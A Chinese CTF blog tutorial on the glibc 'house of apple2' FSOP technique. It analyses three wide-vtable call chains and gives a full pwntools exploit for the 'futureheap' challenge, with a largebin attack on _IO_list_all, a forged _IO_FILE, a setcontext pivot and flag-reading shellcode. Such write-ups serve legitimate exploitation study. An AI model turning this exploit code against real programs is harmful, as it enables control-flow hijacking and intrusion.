house_of_apple2利用手法浅析

collectcrop Lv3

适用版本

  • 2.23——至今

利用条件

  • 能控制_IO_FILE的vtable和_wide_data(一般使用largebin attack)
  • 程序从main函数返回,或者执行exit函数
  • 能泄露libc_base和heap_base

利用思路

  1. 劫持IO_FILEvtable_IO_wfile_jumps
  2. 控制_wide_data为可控的堆地址空间
  3. 控制_wide_data->_wide_vtable为可控的堆地址空间
  4. 控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流

总体来说还是利用FSOP,最后_IO_flush_all_lockp中触发调用_IO_OVERFLOW (fp, EOF)这个虚表函数,因为到了高版本glibc,所以不能直接改虚表,需要借助到其他相似结构的其他虚表。

大致有三条链:

1
2
3
4
5
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)

利用细节

这里以源鲁杯的futureheap这道题对这种利用方式进行学习。

结构体

先熟悉一下几个结构体的具体字段。

_IO_FILE
_IO_wfile_jumps
_IO_file_jumps
_IO_wide_data

在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。

其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。

虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个**_IO_xxx_jumps**的任意偏移,使得其调用攻击者想要调用的IO函数。

我们的思路就是借鉴FSOP,用_wide_data这个成员结构体中的_wide_vtable,同样是宏调用,但没有进一步的检测。

1._IO_wfile_overflow链

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
......
}


_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))

首先最终的目标是_IO_wdoallocbuf中的(wint_t)_IO_WDOALLOCATE (fp)的调用,追踪几个宏定义会发现,最终执行了*(fp->_wide_data->_wide_vtable + 0x68)(fp)这样一个函数。这里的_wide_vtable实际上就是一个虚表,其0x68偏移处就是__doallocate这一项。

那么我们反向追溯一下,发现需要让如下的条件成立以绕过条件判断:

1
2
3
4
5
fp->_wide_data->_IO_buf_base==0;
!(fp->_flags & _IO_UNBUFFERED)!=0; //(fp->_flags & 0x2)==0;
f->_wide_data->_IO_write_base == 0;
f->_flags & _IO_CURRENTLY_PUTTING == 0; //f->_flags & 0x800 == 0;
f->_flags & _IO_NO_WRITES==0; //f->_flags & 0x8==0;

伪造的_IO_FILE对fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A,因为_IO_FILE的0xa0偏移处是_wide_data域。
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

由于触发FSOP的_IO_flush_all_lockp函数中有这么一条判断,所以我们要使前两个条件有一个为真,也就是fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base),第一个条件比较好满足。

1
2
3
4
5
6
7
     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

需要注意的是,最后是call qword ptr [rax + 0x68]实现跳转,所以在rax+0x68的位置不能直接是shellcode,而是一个合法的地址。在这里报错时就可以观察寄存器信息,这里rdx实质就指向我们之前伪造的fake_IO_FILE的_wide_data域。

这里setcontext能够把rdx作为一个类sigFrame的指针,然后恢复各字段。然后就能够进行各种操作了,比如进行srop等等。

现在我们来分析一下futureheap这道题

首先这个init函数中是经典的伪随机数的利用,可以最终得到libc_base和一个fortune的地址,这个fortune是一个rwx的段,可以写shellcode然后想办法执行。这道题也刚好沙箱禁用了直接的execve调用和一些基本的orw函数。但是我们只要能劫持程序执行流,还是能比较方便的利用系统调用读取flag。

还是比较经典的菜单题,主要功能有add,delete和edit。其中delete存在UAF,add只能申请largebin chunk。edit有3次机会,之后会直接调用exit退出。然后还存在一个函数,只要输对密码就能往fortune中写入0x500字节。这个密码的获取是一个简单的换表base64。

那么我们就可以开始学习house of apple2的利用了,首先就是用largebin attack来把_IO_list_all改成我们一个largebin chunk的地址,然后再在该largebin chunk中伪造IO_FILE结构体。

1
2
3
4
5
6
7
8
add(0,0x528)
add(1,0x520)
add(2,0x518)
delete(0)
add(3,0x550)
delete(2)
log.success("_io_list_all:"+hex(_IO_list_all))
edit(0,p64(0)*3+p64(_IO_list_all-0x20))

一开始的largebin attack过程就不过多赘述了,先留一个chunk在largebin里,改掉其bk_nextsize域为tar-0x20,然后再让一个较小的chunk进入到largebin时,就能触发glibc2.31版本以上的改单一地址的largebin attack。到这里我们的_IO_list_all被成功改写成largebin chunk的地址。

然后最关键的就是这个_IO_FILE结构体的构造,由于我们是从数据域开始写,所以一开始的_flags_IO_read_ptr是无法通过edit控制的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
fake_IO_FILE  = p64(0)*2
fake_IO_FILE += p64(1) + p64(2) #_write_base,_write_ptr
fake_IO_FILE += p64(0)+p64(0) #_IO_buf_base,_IO_buf_end
fake_IO_FILE += p64(0) #_IO_save_base
fake_IO_FILE += p64(0) #_IO_backup_base
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(0) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fortune+0x18) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE += p64(fortune+0x108) #setcontext->rsp
fake_IO_FILE += p64(fortune+0x108) #setcontext->rcx
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable
fake_IO_FILE = fake_IO_FILE.ljust(0xf8,b'\x00')
fake_IO_FILE += p64(fortune+0x100-0x68)
fake_IO_FILE = fake_IO_FILE.ljust(0x100,b'\x00')
fake_IO_FILE += p64(setcontext+61) + shellcode


edit(2,fake_IO_FILE)

passwd = "74r0t#C@rd"
out()
p.sendline(passwd)
p.sendline(fake_IO_FILE)

首先将write_basewrite_ptr这两个字段分别置1和2,并且把mode置0是为了满足_IO_flush_all_lockp中一个条件,原理见上文。之后要把vtable指向_IO_wfile_jumps,这是因为虽然在glibc2.24及以上多了一个对虚表地址的检测,使其不能偏离所在段太远,但是我们还是可以利用附近的别的虚表进行利用。这里我们选择触发的是_IO_wfile_jumps_IO_wfile_overflow。也就是_IO_flush_all_lockp中的_IO_OVERFLOW (fp, EOF)这个。因为多态的设计,虚表的结构都是一样的,所以我们本来是调用正常的overflow虚表函数,这里我们劫持到_IO_wfile_jumps后,我们调用的就是__GI__IO_wfile_overflow。然后其具体函数实现里给了我们可趁之机。

然后就能进入_IO_wfile_overflow中。这里我们_flags字段为0,是能够满足里面的各种条件的。然后最关键的就是伪造的IO_FILE_wide_data这个字段的赋值,因为我们没有堆的基址,但有一个fortune的地址,所以我们可以把伪造的_wide_data这个结构体放到fortune这个位置处,为了方便我们可以复用原来的伪造到堆上的IO_FILE结构,但是因为要使f->_wide_data->_IO_write_base == 0,所以我们进行一定的错位,这里我选择的是把_wide_data弄到fortune+0x18,这个位置去。然后就能满足下面这两个条件

  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0

之后来看后面的构造,我们要找到一个B的位置,然后控制*(B + 0x68),这样就能把我们的RIP劫持到目标地址处去了

  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

也就是如下面这3部分的构造。由于我们最后是call到C这里,所以不能直接执行shellcode。我们可以通过setcontext来将rsp放到目标位置,然后setcontext中间会push一个rcx,所以我们可以连带着rcx设置为目标shellcode位置,最后ret到rcx指向的地址,也就执行了我们事先布置的shellcode了。这里rdx就是我们之前布置的_wide_data的位置,然后我们在不影响原来_IO_FILE利用时,设置对应偏移字段来达成特定寄存器的赋值。

1
2
3
fake_IO_FILE += p64(fortune+0x100-0x68)
fake_IO_FILE = fake_IO_FILE.ljust(0x100,b'\x00')
fake_IO_FILE += p64(setcontext+61) + shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
import ctypes
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
table = "polikujmyhntgbrfvedcwsxqazQWERTYUIOPASDFGHJKLZXCVBNM)!@#$%^&*(+/"
libc = ctypes.CDLL("./libc.so.6")
def get_addr():
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
p = process("./pwn")
elf = ELF("./pwn")
glibc = ELF("./libc.so.6")
# gdb.attach(p)
name = b"a"*8 + p32(0x88888888)
p.sendlineafter("dear:",name)

libc.srand(0x88888888)
wolf = libc.rand()
sword = libc.rand()
log.success("wolf:"+str(wolf)+" sword:"+str(sword))

p.recvuntil("Lion is ")
lion = int(p.recvuntil('.')[:-1])
log.success("Lion:"+str(lion))

p.recvuntil("Snake is ")
snake = int(p.recvuntil('.')[:-1])
log.success("snake:"+str(snake))

setvbuf_add = lion ^ wolf ^ libc.rand()
libc_base = setvbuf_add - glibc.sym["setvbuf"]
log.success("libc_base:"+hex(libc_base))
v0 = snake ^ libc.rand()
fortune = v0 ^ sword
log.success("fortune:"+hex(fortune))


open=libc_base+glibc.sym['open']
read=libc_base + glibc.sym['read']
write=libc_base + glibc.sym['write']
stderr=libc_base+glibc.sym['stderr']
_IO_list_all=libc_base+glibc.sym['_IO_list_all']
setcontext=libc_base + glibc.sym['setcontext']
_IO_wfile_jumps =libc_base+glibc.sym['_IO_wfile_jumps']

def add(idx,size):
p.sendline("1")
p.sendline(str(idx).encode())
p.sendline(str(size).encode())

def delete(idx):
p.sendline("3")
p.sendline(str(idx).encode())

def edit(idx,content):
p.sendline("2")
p.sendline(str(idx).encode())
p.sendline(content)

def out():
p.sendline("4")


add(0,0x528)
add(1,0x520)
add(2,0x518)
delete(0)
add(3,0x550)
delete(2)
log.success("_io_list_all:"+hex(_IO_list_all))
edit(0,p64(0)*3+p64(_IO_list_all-0x20))


add(4,0x600)


shellcode=asm(f'''
mov rdi,0
sub rdi,100
mov rdx,0
push rdx
mov rdx,rsp
mov rsi, 0x67616c662f
push rsi
mov rsi,rsp
add rdx,0x100
mov r10,0x18
mov rax,0x1b5
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
''')

fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(1) + p64(2) #_write_base,_write_ptr
fake_IO_FILE += p64(0)+p64(0) #_IO_buf_base,_IO_buf_end
fake_IO_FILE += p64(0) #_IO_save_base
fake_IO_FILE += p64(0) #_IO_backup_base
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(0) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fortune+0x18) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE += p64(fortune+0x108) #setcontext->rsp
fake_IO_FILE += p64(fortune+0x108) #setcontext->rcx
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable
fake_IO_FILE = fake_IO_FILE.ljust(0xf8,b'\x00')
fake_IO_FILE += p64(fortune+0x100-0x68)
fake_IO_FILE = fake_IO_FILE.ljust(0x100,b'\x00')
fake_IO_FILE += p64(setcontext+61) + shellcode


edit(2,fake_IO_FILE)

passwd = "74r0t#C@rd"
out()
p.sendline(passwd)
p.sendline(fake_IO_FILE)

gdb.attach(p)
# p.sendline(b"2")

p.interactive()
2._IO_wfile_underflow_mmap链

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;

if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

cd = fp->_codecvt;

/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;

/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;

if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}

fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);

fp->_IO_read_ptr = (char *) read_stop;

/* If we managed to generate some text return the next character. */
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

/* There is some garbage at the end of the file. */
__set_errno (EILSEQ);
fp->_flags |= _IO_ERR_SEEN;
return WEOF;
}

int
_IO_file_underflow_mmap (FILE *fp)
{
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (__glibc_unlikely (mmap_remap_check (fp)))
/* We punted to the regular file functions. */
return _IO_UNDERFLOW (fp);

if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

fp->_flags |= _IO_EOF_SEEN;
return EOF;
}

需满足的条件如下

1
2
3
4
5
fp->_flags & _IO_NO_READS == 0;
fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end;
fp->_IO_read_ptr >= fp->_IO_read_end == false;
fp->_wide_data->_IO_buf_base == NULL;
fp->_wide_data->_IO_save_base == NULL; //也可以不为null,但要执行一次free和flag的设置,最好设置为0

实质上就是进入的点不同,最后利用的链还是相同的。这里如果只是单纯的把虚表从_IO_wfile_jumps改成_IO_wfile_jumps_mmap,实际最后还是会进入overflow那个函数。因为这两个虚表其实是完全相同的,而我们触发的是原来表中overflow那个虚表函数。我们需要添加偏移来进入不同的函数,在本题中,经测试+0x10的偏移能够进入_IO_wdefault_uflow,偏移+0x30能进入_IO_wfile_seekoff,+8偏移能成功进入_IO_wfile_underflow_mmap,其实就是对应原表的偏移。

构造如下

  • _flags = ~4
  • vtable 设置为 _IO_wfile_jumps_mmap 地址(加减偏移)
  • _IO_read_end > _IO_read_ptr(不进入调用)
  • _wide_data 设置为可控堆地址 A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end(即满足*A>=*(A+8)
  • _wide_data->_IO_buf_base = 0(即满足*(A+0x30)=0
  • _wide_data->_IO_save_base = 0(即满足*(A+0x40)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足*(B+0x68)=C

但这里rdx进去不是可控地址,看上去是把我们处在第二个字段_IO_read_ptr的largebin chunk size给赋值过来了。这就为setcontext赋值增加了难度,所以这一题不用这个方法。我们能成功的到这一步其实已经算是成功的利用了这条链条。可以尝试call到别的地方打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fake_IO_FILE  = p64(0x1000)   #read_end
fake_IO_FILE += p64(3) #read_base
fake_IO_FILE += p64(20) + p64(22) #_write_base,_write_ptr
fake_IO_FILE += p64(0)+p64(0) #_IO_buf_base,_IO_buf_end
fake_IO_FILE += p64(0) #_IO_save_base
fake_IO_FILE += p64(0) #_IO_backup_base
fake_IO_FILE += p64(0) #_IO_save_end
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(0) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fortune+0x18) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE += p64(fortune+0x108) #setcontext->rsp
fake_IO_FILE += p64(fortune+0x108) #setcontext->rcx
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps_mmap+0x8) # vtable
fake_IO_FILE = fake_IO_FILE.ljust(0xf8,b'\x00')
fake_IO_FILE += p64(fortune+0x100-0x68)
fake_IO_FILE = fake_IO_FILE.ljust(0x100,b'\x00')
fake_IO_FILE += p64(setcontext+61) + shellcode

3. _IO_wdefault_xsgetn链

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#define _IO_in_put_mode(_fp) ((_fp)->_flags & _IO_CURRENTLY_PUTTING)

size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
size_t more = n;
wchar_t *s = (wchar_t*) data;
for (;;)
{
/* Data available. */
ssize_t count = (fp->_wide_data->_IO_read_end
- fp->_wide_data->_IO_read_ptr);
if (count > 0)
{
if ((size_t) count > more)
count = more;
if (count > 20)
{
s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
fp->_wide_data->_IO_read_ptr += count;
}
else if (count <= 0)
count = 0;
else
{
wchar_t *p = fp->_wide_data->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_wide_data->_IO_read_ptr = p;
}
more -= count;
}
if (more == 0 || __wunderflow (fp) == WEOF)
break;
}
return n - more;
}

wint_t
__wunderflow (FILE *fp)
{
if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
return WEOF;

if (fp->_mode == 0)
_IO_fwide (fp, 1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_wget_mode (fp) == EOF)
return WEOF;
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_wget_area (fp);
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_wbackup (fp, fp->_wide_data->_IO_read_end))
return WEOF;
}
else if (_IO_have_backup (fp))
_IO_free_wbackup_area (fp);
return _IO_UNDERFLOW (fp);
}

int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}

目的是进到__wunderflow (fp)_IO_switch_to_wget_mode里的(wint_t)_IO_WOVERFLOW (fp, WEOF)这个虚表函数调用。

需要满足条件如下

1
2
3
4
fp->_wide_data->_IO_read_end == fp->_wide_data->_IO_read_ptr;	//可以绕过前面一些麻烦的操作,直奔__wunderflow
(fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1)) == false; //mode设置为1即可
_IO_in_put_mode (fp)!=0; //即fp->flags & 0x800 != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base;

构造如下

  • _flags = 0x800
  • vtable = _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址(加减偏移)
  • _mode > 0(即满足*(fp+0xc0)>0
  • _wide_data = 可控堆地址A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr (即满足 *(A+8)=*A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base(即满足*(A+0x20)>*(A+0x18)
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->overflow = 地址C,用于劫持RIP(即满足*(B+0x18)=C

很可惜的是futureheap这道题只能申请0x700大小以下的堆块,而用largebin attack改的_IO_list_all后,第一个_IO_FILE结构体的_flags字段实质上就被赋值为largebin chunk的大小。我们就无法使_IO_in_put_mode (fp)!=0这个条件成立,所以本题也不好使用这一条链条。

总结

在示例题目中,上面3种方法只有第一种方式比较方便题解,这说明了几个链条的适用条件都有所不同,可以根据具体情况选择不同的链条进行尝试。本质还是_IO_flush_all_lockp这个FSOP的利用。

  • 标题: house_of_apple2利用手法浅析
  • 作者: collectcrop
  • 创建于 : 2024-11-10 14:47:19
  • 更新于 : 2024-11-23 19:44:30
  • 链接: https://collectcrop.github.io/2024/11/10/house-of-apple2利用手法浅析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。